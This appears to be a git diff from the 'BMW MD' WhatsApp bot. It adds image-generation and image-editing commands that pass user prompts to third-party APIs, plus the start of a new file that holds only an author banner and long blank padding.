+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {
+ adams
+} = require("../Ibrahim/adams");
+const {
+ default: axios
+} = require("axios");
+adams({
+ 'nomCom': "generate4",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please enter the necessary information to generate the image.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "extract",
+ 'reaction': '⏳',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please insert the image url Bmw-Md will extract it for you.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://www.samirxpikachu.run.place/extract/text?url=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/flux?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate2",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate4",
+ 'reaction': '💎',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image Bmw md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://www.samirxpikachu.run.place/multi/Ml?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "wash",
+ 'reaction': '🎇',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Kindly enter a valid image url to beautify your image.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/remacne?url=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+
+
diff --git a/scs/bmwba.js b/scs/bmwba.js
new file mode 100644
index 0000000..122e1f2
--- /dev/null
+++ b/scs/bmwba.js
@@ -0,0 +1,15301 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
